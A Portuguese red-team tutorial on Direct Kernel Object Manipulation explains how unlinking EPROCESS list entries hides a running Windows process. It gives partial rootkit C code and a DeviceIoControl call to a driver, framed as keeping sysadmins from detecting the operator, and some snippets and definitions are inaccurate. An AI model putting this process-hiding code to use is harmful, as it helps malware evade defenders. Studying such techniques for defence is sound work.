.x+=:. s .uef^" z` ^% :8 :d88E u. . k .88 uL `888E ...ue888b .@8Ned8" :888ooo .ue888Nc.. 888E .z8k 888R Y888r .@^%8888" -*8888888 d88E`"888E` 888E~?888L 888R I888> x88: `)8b. 8888 888E 888E 888E 888E 888R I888> 8888N=*8888 8888 888E 888E 888E 888E 888R I888> %8" R88 8888 888E 888E 888E 888E u8888cJ888 @8Wou 9% .8888Lu= 888& .888E 888E 888E "*888*P" .888888P` ^%888* *888" 888& m888N= 888> 'Y" ` ^"F 'Y" `" "888E `Y" 888 .dWi `88E J88" 4888~ J8% @% ^"===*"` :" Direct Kernel Object Manipulation by kosu <3 ~ Conforme nossas experiencias em Red Team e Pentest, a vontade de aprimorar cada vez mais a qualidade da nossa operação sempre aparece, tanto em questões técnicas quanto em questão de detectabilidade. Para um Red Teamer, é primordial garantir a segurança da operação, e que nenhum sysadmin o impeça de concluir a task do projeto. Neste artigo, vou falar um pouco sobre Direct Kernel Object Manipulation (DKOM) e como ele é útil em operações, principalmente em operações de longo prazo. Roadmap ---------------------------------------------- 1. Linked Lists / Lista "Linkada" - ponteiro *blink - ponteiro *flink 2. Windows eProcess struct - eProcess corruption - object manipulation ---------------------------------------------- 1. Linked Lists Antes de mais nada, é necessário entender o que são listas linkadas, para que são usadas e como funcionam, entendendo a estrutura básica de uma lista linkada, fica fácil entender como corromper-la, e posteriormente, como usar essa corrupção ao nosso favor. Os programadores podem usar uma linked list para ordenar dados ou indices de um array, essa organização é feita primordialmente por dois ponteiros, sendo eles: *blink, e *flink *blink - backward link Esse ponteiro é responsável por apontar ao indice anterior na ordem, assim que um novo dado é relacionado a lista, o dado anterior é relacionado ao ponteiro *blink do indice atual. *flink - forward link Esse ponteiro é o oposto, ele é responsável por apontar ao indice posterior a ele na ordem, quando um novo dado é relacionado a lista, ele é relacionado ao ponteiro *flink do indice anterior. Essa organização de dados é utilizada por gerenciadores de tarefas, chamadas de sistemas, estruturas de memória, entre outros... ---------------------------------------------- 2. Windows eProcess struct Agora que entendemos um pouco sobre listas linkadas, vamos falar brevemente sobre a eProcess e entender como corrompe-la. A eProcess (Each Process) é uma estrutura que representa cada processo ativo no Gerenciador de Tarefas do Windows, é uma lista que utiliza os ponteiros *blink e *flink. - eProccess corruption Utilizando os ponteiros *flink e *blink, você pode reorganizar a ordem da lista e excluir um indice da lista, de forma que você possa camuflar ou esconder um processo ativo. Desde que o ponteiro *blink aponta para o dado anterior, no caso da eProcess, o processo anterior e por sua vez, o ponteiro *flink aponta para o processo posterior, se você apontar o processo anterior, para o processo posterior, e apontar o processo posterior para o processo anterior, você exclui o processo atual da lista linkada. void function(eProcess processo_atual) { (processo_atual->blink)->flink = flink; (flink do processo anterior recebe flink do processo atual) (processo_atual->flink)->blink = blink; (blink do processo posterior recebe blink do processo atual) return; } - Object Manipulation Agora vamos implementar o conceito de eProcess corruption na eProcess, utilizando Direct Kernel Object Manipulation e escondendo qualquer processo ativo do Gerenciador de Tarefas do Windows. eProcess_manipulation.c ---------------------------- void magic(PLIST_ENTRY Current) { /* Current->Flink - Aponta para o proximo processo * Current->Blink - Aponta para o processo anterior * * (Current->Blink)->Flink - Aponta para o *flink do processo anterior * (Current->Flink)->Blink - Aponta para o *blink do processo posterior */ (Current->Blink)->Flink = Current->Flink; (Current->Flink)->Blink = Current->Blink; // Atualiza a PLIST_ENTRY para evitar um BSOD (Tela Azul da Morte) Current->Blink = (PLIST_ENTRY)&Current->Flink; Current->Flink = (PLIST_ENTRY)&Current->Flink; } // IRP code that will call our rootkit functionality #define IRP_ROOTKIT_CODE 0x815 int config_eProcess(char * pid, HANDLE hDevice){ printf("%s %d\n", "[+] Calling Driver, hiding PID:", atoi(pid)); ULONG bytes_returned; char * retbuf; BOOLEAN call_result = DeviceIoControl( hDevice, IRP_ROOTKIT_CODE, pid, strlen(pid) + 1, retbuf, 200, &bytes_returned, (LPOVERLAPPED) NULL); if (!call_result) return 1; } ------------------------------